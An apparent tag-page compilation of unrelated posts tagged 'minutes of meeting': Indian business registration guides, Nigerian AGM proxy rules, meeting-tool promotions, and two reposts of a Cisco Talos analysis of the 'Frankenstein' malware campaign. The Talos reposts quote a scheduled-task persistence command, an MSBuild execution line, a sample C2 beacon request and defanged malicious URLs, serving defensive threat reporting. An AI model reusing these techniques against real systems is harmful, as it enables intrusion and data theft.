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filingindia · 3 years

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Online Import Export Code (IEC Code) License and certify the Registration, IEC (Import Export Code) is necessary and obligatory by any person or someone by who is appear and give the impression of being and creature to kick-start his/her import/export commerce and the production in the country and nation. It is issued by the DGFT (Director General of Foreign Trade). Online Import Export Code (IEC Code) License is a 10-digit code which has lifetime validity. This import Online Import Export Code (IEC Code) License Registration is needed and essential or compulsory to those or the person and those who is importing and exporting and transferring produce, manufacture, product, supplies, goods and services from the India. The Online Import Export Code (IEC Code) License Registration is issued or composed and also together by the directorate and make identifiable or the familiar and record universal, common, wide-ranging, wide intense or ordinary of overseas or out of the country trade (DGFT), ministry of business, commerce and industries, government of India. What is Import Export Code? The Import Export Code Registration is must to be filled by those individuals who have involved in importing or exporting of goods and services from India. This IE Code contains 10-digit alpha-numeric number which is issued by the directorate general of Foreign Trade (DGFT), Ministry of Commerce and Industries, Government of India. This number is also recognized by the name “Import Export License”. However, IEC is equal to Permanent Account Number which is allotted separately by the DGFT. For obtaining IEC Code online, you need to visit the DGFT website that is dgft.gov.in. Features of Import Export Code • If you are an IEC holder then you do not need to file for any returns. • Any individual who is involved in IEC in India must obtain an IEC Code. • Once you get Importer Exporter Code then you don’t require a renewal because this code is valid for lifetime. IEC is not necessarily required for the following circumstances: 1. Import/Export of goods for the personal use or if the process is not associated with trade, manufacturer or agriculture. 2. Import/Export of goods and products that is organized by government ministries and departments and also charitable organizations. Documents required for Import Export Code Registration IEC code is mandatory for all those companies or every individual who are going to start an Import-Export business in India. So, to apply for IEC code you are advised to carry the following documents along with the IEC application form. The following listed documents will help you to justify your identity without facing much hassle: • Current bank account details • Self-attested copy of the PAN Card • Bank certificate or a cancel cheque for bank account details • Two copies of the passport size photograph of the applicant • A covering letter on the letterhead to request issuing of new IEC certification

#ImportExportCodeRegistration #MSMERegistration #UdyogAadhaarRegistration #MinutesofMeeting #PartnershipRegistration #PrivateLimitedCompanyRegistration #OnePersonCompanyRegistration #PublicLimitedCompanyRegistration #LimitedLiabilityPartnershipRegistration #ProprietorshipRegistration

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legitbizblog · 4 years

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AGMs of Public Companies to be held in proxies GUIDELINES ON HOLDING OF ANNUAL GENERAL MEETINGS (AGM) OF PUBLIC COMPANIES USING PROXIES BY CORPORATE AFFAIRS COMMISSION @corporateaffairsc In view of the COVID-19 pandemic, companies can hold their Annual General Meetings by taking advantage of S.230 CAMA on the use of proxies. The following should guide the companies on the procedure and conduct of the AGM: 1. The approval of the Corporate Affairs Commission (CAC) shall be obtained before such a meeting is held. The application can be submitted to the Head Office in Abuja or any of the branch offices in any of the States. 2. CAC shall send representative(s) as observer(s) to the meeting. 3. The meeting shall only discuss the Ordinary Business of an AGM as provided in S.214 CAMA. 4. Notice of meeting and proxy form shall be sent to EVERY member in accordance with the requirements of CAMA. Companies will be required to provide the CAC with the evidence of postage or delivery of such notices after the meeting. 5. All the members shall be advised in the notice that in view of the COVID-19 pandemic, attendance shall only be by proxy with names and particulars of the proposed proxies listed for them to select therefrom. The invitation shall be issued at the companies’ expense as well as the stamp duties which shall be prepaid by the company. The proxies need not be members of the company. 6. The company shall be guided by the provisions of its Articles or CAMA as regards to a quorum. However, for the purpose of determining quorum, each duly completed proxy form shall be counted as one. Due to COVID-19 lockdown, Companies can send their application to the Registrar-General by email [email protected] and [email protected] Management Send us a DM if you have further enquiries or need help! #business #Lagosbusiness #companies #publicompanies #PLC #meetings #companymeetings #AnnualMeetings #proxy #CAC #ceos #directors #secretaries #shareholders #legalstructure #minutes #minutesofmeeting #legitbusiness #legitbusinessolutions #business_and_legalstructure #asklawyerpr (at Lagos, Nigeria) https://www.instagram.com/p/B-0c6p0lMNn/?igshid=yvt0w262mg8b

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meetnotesco-blog · 7 years

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Meetnotes Beta Released: Signup & Try Now for Free

There are a bunch of meeting notes tool with focus on agenda, notes and action items. While those are important, they aren’t sufficient. We believe great meetings are fun & engaging and productivity flows once everyone is participating. Read more

#meetingnotes #productivemeeting #minutesofmeeting #boardmeeting

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gabotaf · 3 years

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RE: MINUTES OF MEETING | PROGRAM OF ACTIVITY | CATERING SERVICES | Hi po kelangan po ba talaga mag attach ng minutes of meeting or program activity sa voucher pambayad ng catering services?pls help po.thanks admin (cai) #DocumentaryRequirements #CateringServices #MinutesOfMeeting #ProgramOfActivity #HuwagMahihiyangMagtanong #GABOTAF View Answers/Leave a comment

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sistecratibad · 5 years

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Sagar Group of Institutions - SISTec Ratibad

#Media_News #Media_Coverage #Media_Buzz 🗞 📰

"SISTec Ratibad inks MoM and MoU for skill development of Students..."

SISTec Ratibad Department of Electrical Engineering signed Minutes of Meeting (MoM) with MSME Technology Centre, Bhopal for skill development, training programmes and job opportunities for its engineering students. The MoM was executed between Mr. Ranjan Chaudhary, Deputy Director MSME Technology Centre and Dr. Jyoti Deshmukh, Principal, SISTec Ratibad in presence of Prof. Ashish Singhal, Head of Department of Electrical Engineering.

SISTec Ratibad Department Of Mechanical Engineering signed MoU with Sofcon Pvt. Ltd. for HVAC & Hydraulics. The MoU was executed between Mr. Chetan Chauhan, Director Sofcon Pvt. Ltd. and Dr. Jyoti Deshmukh, Principal, SISTec Ratibad in presence of Prof. Kshitij Yugbodh, Head of Department of Mechanical Engineering.

#Visit: http://sistecr.ac.in

#MoM

#MinutesofMeeting

#MoU #MemorandumofUnderstanding

#EE #ElectricalEngineering #Electrical #Engineering

#ME #MechanicalEngineering #Mechanical #Engineering

#SISTec #SISTecRatibad

#SagarCollege #SagarInstitute #SGIBhopal

#SagarGroupofInstitutions

#BestEngineeringCollegesinBhopalMP

#TopEngineeringCollegesinBhopalMP

#TopPrivateEngineeringCollegesinBhopalMP

#Top10EngineeringCollegesinBhopalMP

#sagar college #sagar institute #sagar group of institutions #sagar group #sistec ratibad #top private engineering colleges in bhopal mp #sistec #best engineering colleges in bhopal mp #engineering #sagar institute of science and technology #sagar institute of science technology & research #sagar institute of science technology and research #mechanical #mechanical engineering #electrical engineering #electrical cad #MoU #memorandum of understanding

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terabitweb · 5 years

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Original Post from Security Affairs Author: Pierluigi Paganini

Cisco Talos experts uncovered a new wave of attacks tracked as Frankenstein campaign, attackers used tools built by combining four open-source techniques.

Security experts at Cisco Talos uncovered a series of highly targeted attacks, tracked as Frankenstein campaign, hackers used tools built by combining four different open-source techniques.

Attackers behind the Frankenstein campaign carried out several malware-based attacks between January and April 2019. Talos researchers discovered a low volume of documents in various malware repositories.

“Cisco Talos recently identified a series of documents that we believe are part of a coordinated series of cyber attacks that we are calling the Frankenstein campaign.” reads the analysis published by Cisco Talos. “We assess that this activity was hyper-targeted given that there was a low volume of these documents in various malware repositories. Frankenstein — the name refers to the actors’ ability to piece together several unrelated components — leveraged four different open-source techniques to build the tools used during the campaign.”

Researchers at Talos team believe the attackers are moderately sophisticated but highly resourceful.

The attackers used multiple anti-detection techniques such as checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the malicious code was running in a virtualized environment.

Other anti-detection techniques such as only responding to GET requests that contained predefined fields, and using encryption to protect data in transit.

Talos experts identified two weaponized Word documents used in the Frankenstein campaign that were likely sent to the victims via emails. The first document named “MinutesofMeeting-2May19.docx“, displays the national flag of Jordan, once opened it will fetch a remote template and trigger the CVE-2017-11882 exploit to execute code on the target machine.

“Once the victim opens the document, it fetches a remove template from the actor-controlled website, hxxp://droobox[.]online:80/luncher.doc. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim’s machine. After the exploit, the file would run a command script to set up persistence as a scheduled task named “WinUpdate”.” continues the analysis.

“/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR” That scheduled task would run a series of base64-encoded PowerShell commands that acted as a stager.”

The second sample prompts the victim to enable macros and run a Visual Basic script.

One of the documents detected by the experts appears as a document created by the security firm Kaspersky, in other two cases attackers used documents specifically designed to target Middle Eastern entities.

Experts also described a

In the second scenario observed by Talos, threat actors used a weaponized document. When the macro is enabled, it executes a Visual Basic Application (VBA) script implementing two anti-analysis features.

The script first queries Windows Management Instrumentation (WMI) to check if specific applications are running: VMWare, Vbox, Process Explorer, Process Hacker, ProcMon, Visual Basic, Fiddler, and WireShark. Then the script checks if specific tasks are running: VMWare, Vbox, VxStream, AutoIT, VMtools, TCPView, WireShark, Process Explorer, Visual Basic, and Fiddler.

If the script finds one of the above apps or tasks it halts its execution, otherwise it calls WMI and determines the number of cores allocated to the system and exits if the number of cores is less than two.

Once the evasion checks were complete, the attackers used MSbuild to execute an actor-created file named “LOCALAPPDATAIntelinstal.xml”. According to Talos, threat actors chose MSBuild because it is a signed Microsoft binary, this feature allows to bypass application whitelisting controls on the host when being used to execute arbitrary code.

Attackers used a PowerShell Empire agent to gather information on the local system, including Username, Domain name, Machine name, Public IP address, administrative privileges, currently running processes, operating system version, and the security system’s SHA256 HMAC.

Then the data is sent back to the C&C server via an encrypted channel.

“A campaign that leverages custom tools is more easily attributed to the tools’ developers. One example of this was the code overlap in the VPNFilter malware that allowed us to associate the activity with the BlackEnergy malware.” Talos concludes. “By contrast, operations performed with open-source frameworks are extremely difficult to attribute without additional insights or intelligence.”

window._mNHandle = window._mNHandle || {}; window._mNHandle.queue = window._mNHandle.queue || []; medianet_versionId = "3121199";

try { window._mNHandle.queue.push(function () { window._mNDetails.loadTag("762221962", "300x250", "762221962"); }); } catch (error) {}

Pierluigi Paganini

(SecurityAffairs – Frankenstein campaign, hacking)

The post Frankenstein campaign: threat actors put together open-source tools for highly-targeted attacks appeared first on Security Affairs.

#gallery-0-6 { margin: auto; } #gallery-0-6 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-6 img { border: 2px solid #cfcfcf; } #gallery-0-6 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Go to Source Author: Pierluigi Paganini Frankenstein campaign: threat actors put together open-source tools for highly-targeted attacks Original Post from Security Affairs Author: Pierluigi Paganini Cisco Talos experts uncovered a new wave of attacks tracked as Frankenstein campaign, attackers used…

#Security Affairs blog

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ff-ocd · 1 year

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Cara membuat minutes of meeting

Membuat Minutes of meeting atau biasa disebut MoM bisa sama menegangkannya dengan menekan "kirim" pada email campaign ke 500.000 orang atau memberikan presentasi kepada orang banyak. Jika Anda melewatkan satu detik saja, Anda dapat melewatkan seluruh bagian catatan yang ditunggu-tunggu oleh anggota organisasi Anda atau publik.

Jika Anda ingin membuat catatan yang lengkap, akurat, dan efektif tanpa mendengarkan kembali rekaman rapat nanti, cara terbaik untuk melakukannya adalah dengan menggunakan alat pintar. Catatan rapat otomatis dapat membuat proses pembuatan catatan Anda bebas genggam, sehingga Anda dapat menjadi peserta aktif dalam rapat Anda (dan menghindari kepanikan internal saat Anda tidak sengaja tertidur).

Cobalah gunakan Fireflies AI yang menyediakan transkripsi otomatis rapat langsung dan file audio yang diunggah dalam hitungan menit. Ini adalah perekam rapat cerdas yang didukung AI dan platform sentral untuk kolaborasi pasca rapat juga.

#meetingnotes #minutesofmeeting #corporatemeeting #startup ecosystem #chatgpt #openai

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angpama · 4 years

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Con @amalbalate y @mjose.contador en @delantebar, intentando —ya que recuperar la normalidad se antoja de momento imposible— pasar al menos un rato agradable en nuestro bar favorito de Cartagena #autumnnights #nochesdeotoño #fallincartagena #cartagenaenotoño #havingadrinkwithfriends #tomandounacopaconamigos #minutesofmeeting #minutosdeencuentro #minutesofjoy #minutosdealegria #veryveryhappy (en Delante) https://www.instagram.com/p/CGI_SOeFl0-/?igshid=1eb2oqjetvift

#autumnnights #nochesdeotoño #fallincartagena #cartagenaenotoño #havingadrinkwithfriends #tomandounacopaconamigos #minutesofmeeting #minutosdeencuentro #minutesofjoy #minutosdealegria #veryveryhappy

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filingindia · 3 years

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To file GST Returns, one must have records of compliant sales and purchase invoices which can be generated at free of cost. GST Return has all the details of sales and purchases made either on a quarterly or annual basis.

One should always make sure that you are registered under GST containing the 15-digit identification number. So, you should first register online to get the GST number. Know the step by step guide to filing for GST Returns on the GST portal.

How to File GST Returns GST stores all the details of sellers and buyers. If you have a company that supplies a variety of goods and services then you need to file 3 monthly returns and one annual return. Here, you can get an easier process of how to file your GST Returns Online in India. Check the step by step guide to register under GST online:

First, visit the GST official portal. Press on the "Services" button. Click on “Return dashboard” and then fill up the financial year and the return filing period. Select the return you wish to file for and then click on “prepare online”. Enter the fees amount and late fee, if applicable. Once you have filled all the necessary details, click on the Save button. A success message will be displayed on your screen.

#GSTReturn #GstInIndia #GstRegistration #GSTReturnOnline #IncomeTaxReturn #MinutesofMeeting #PFReturn #ESIReturn #TDSReturn

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draftncraft · 10 years

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What the Open Meetings Act doesn’t say!!...

#minutesofmeeting #summaries #legal #outsourcing #free epub #professional writing #records #drafting #draftncraft

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terabitweb · 5 years

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Original Post from Talos Security Author:

This blog was authored by Danny Adamitis, David Maynor and Kendall McKay.

Executive summary

Cisco Talos recently identified a series of documents that we believe are part of a coordinated series of cyber attacks that we are calling the “Frankenstein” campaign. We assess that the attackers carried out these operations between January and April 2019 in an effort to install malware on users’ machines via malicious documents. We assess that this activity was hyper-targeted given that there was a low volume of these documents in various malware repositories. Frankenstein — the name refers to the actors’ ability to piece together several unrelated components — leveraged four different open-source techniques to build the tools used during the campaign.

The campaign used components of:

An article to detect when your sample is being run in a VM

A GitHub project that leverages MSbuild to execute a PowerShell command

A component of GitHub project called “Fruityc2” to build a stager

A GitHub project called “PowerShell Empire” for their agents

We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors’ preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. These obfuscation techniques will require network defenders to modify their posture and procedures to detect this threat.

This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also took additional steps to only respond to GET requests that contained predefined fields, such as a non-existent user-agent string, a session cookie, and a particular directory on the domain. The threat actors also used different types of encryption in order to protect data in transit.

Trojanized documents

Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. We were able to correlate these two techniques to the same threat campaign due to overlapping threat actor C2.

In the first scenario, Talos discovered a document named “MinutesofMeeting-2May19.docx”, that appeared to display the national flag of Jordan. Once the victim opens the document, it fetches a remove template from the actor-controlled website, hxxp://droobox[.]online:80/luncher.doc. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim’s machine. After the exploit, the file would run a command script to set up persistence as a scheduled task named “WinUpdate”.

“/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR” That scheduled task would run a series of base64-encoded PowerShell commands that acted as a stager. The stager will be described in more detail in the next section.

Example of the MinutesofMeeting-2May19.docx.

One of the samples we analyzed that prompted the victim to enable macros claimed to have “been secured by Kaspersky,” a well-known anti-virus firm. While threat actors commonly create fake security labels for malicious documents, this technique could also indicate that the threat actor had performed reconnaissance on the intended victims, suggesting that the documents had been socially engineered to some degree.

Example of malicious Microsoft Word document.

Two other documents we associated with this group appeared to be more targeted in nature. One document contained logos that appear to be from several Middle Eastern countries’ government agencies, while the other document showed an image of unspecified buildings that were possibly recognizable to a select group of targets.

Trojanized document containing official logos.

Trojanized document containing the image of unidentified buildings.

Visual Basic script and its anti-analysis features

As soon as the user enabled the macro, a robust Visual Basic Application (VBA) script began to execute. The VBA script contained two anti-analysis features. First, it would query Windows Management Instrumentation (WMI) to check if any of the following applications were running:

VMWare

Vbox

Process Explorer

Process Hacker

ProcMon

Visual Basic

Fiddler

WireShark

Next, the script would check to see if any of the following tasks were running:

VMWare

Vbox

VxStream

AutoIT

VMtools

TCPView

WireShark

Process Explorer

Visual Basic

Fiddler

A copy of the macro’s code, which checks for analysis-oriented applications.

If any of the aforementioned applications or task names were discovered during the enumeration process, the script would stop execution. The next evasion technique was to call WMI and determine the number of cores allocated to the system. If the number of cores was less than two, the script would stop execution and the end user would receive a pop-up message stating “The File is not compatible with your Microsoft Office Version.” We assess that this technique was modeled after a 2015 TrustedSec report as a way to detect if the sample was being run in a virtual machine or a sandbox environment.

Once the evasion checks were complete, the threat actors used MSbuild to execute an actor-created file named “LOCALAPPDATAIntelinstal.xml”. Based on lexical analysis, we assess with high confidence that this component of the macro script was based on an open-source project called “MSBuild-inline-task.” While this technique was previously documented last year, it has rarely been observed being used in operations. Talos suspects the adversary chose MSBuild because it is a signed Microsoft binary, meaning that it can bypass application whitelisting controls on the host when being used to execute arbitrary code.

A copy of the threat actors’ version of the MSbuild-inline-task.

The last line of the file would run encoded commands from the command line:

cmd.exe /c C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe LOCALAPPDATAIntelinstal.xml C:WindowsSystem32

Once the “instal.xml” file began execution, it would deobfuscate the base64-encoded commands. This revealed a stager, or a small script designed to obtain an additional payload. While analyzing this stager, we noticed some similarities to the “Get-Data” function of the FruityC2 PowerShell agent. One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors’ C2 server was the domain msdn[.]cloud. A copy of the deobfuscated stager can be seen in the image below.

Copy of the deobfuscated stager.

When executed successfully, the stager connected to the C2. dHowever, in order to receive the agent, the request needed to contain the correct directory, user-agent string, and session cookie. The anticipated GET request appeared as follows:

GET /FC001/JOHN HTTP/1.1 Cookie: session=drYuSCFQdbQYHozM2dku17KYkY8= User-Agent: Microsoft Internet Explorer Host: msdn[.]cloud Connection: Keep-Alive

If successful, the C2 would return a string of characters. Once the string was RC4 decrypted, it launched a PowerShell Empire agent. The PowerShell script would attempt to enumerate the host to look for certain information, such as:

Username

Domain name

Machine name

Public IP address

Checks if the current user has administrative privileges

Obtains a list of all currently running processes

Calls WMI to obtain operating system version

Obtains the security system’s SHA256 HMAC

Once the aforementioned information was obtained, it was sent back to the threat actor’s C2. Similar to the stager, the agent included functionality to communicate via an encrypted channel, in this case AES-CBC, in addition to using a specific user-agent string and a session key. This agent would allow the threat actors to remotely interact with the agent to upload and download files and to use the various plugins that were compatible with the Empire framework, such as those used to harvest credentials on the victim’s machine. While this threat actor exhibited signs of sophistication, there were some small components that were overlooked. For example, it appears that the threat actor forgot to configure certain components for the Empire agent, such as leaving placeholder values for some variables like “WORKING_HOURS_REPLACE” and “REPLACE_KILLDATE”.

Conclusion

The actors’ preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available tools, which offer them some advantages over a completely custom toolset. A campaign that leverages custom tools is more easily attributed to the tools’ developers. One example of this was the code overlap in the VPNFilter malware that allowed us to associate the activity with the Blackenergy malware. By contrast, operations performed with open-source frameworks are extremely difficult to attribute without additional insights or intelligence. Over the past several years, there have been multiple instances of advanced threat actors using open-source techniques, such as MuddyWater, among others. This growing trend highlights that highly trained operators are increasingly using unsophisticated tools to accomplish their goals.

Coverage

Ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Indicators of Compromise

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URLs hxxp://droobox[.]online/luncher.doc hxxp://msdn[.]cloud/FC001/JOHN hxxp://search-bing[.]site/FC003/User=H6szn1woY2pLV

Domains msdn[.]cloud search-bing[.]site droobox[.]online

#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Go to Source Author: It’s alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign Original Post from Talos Security Author: This blog was authored by Danny Adamitis, David Maynor…

#Talos Security

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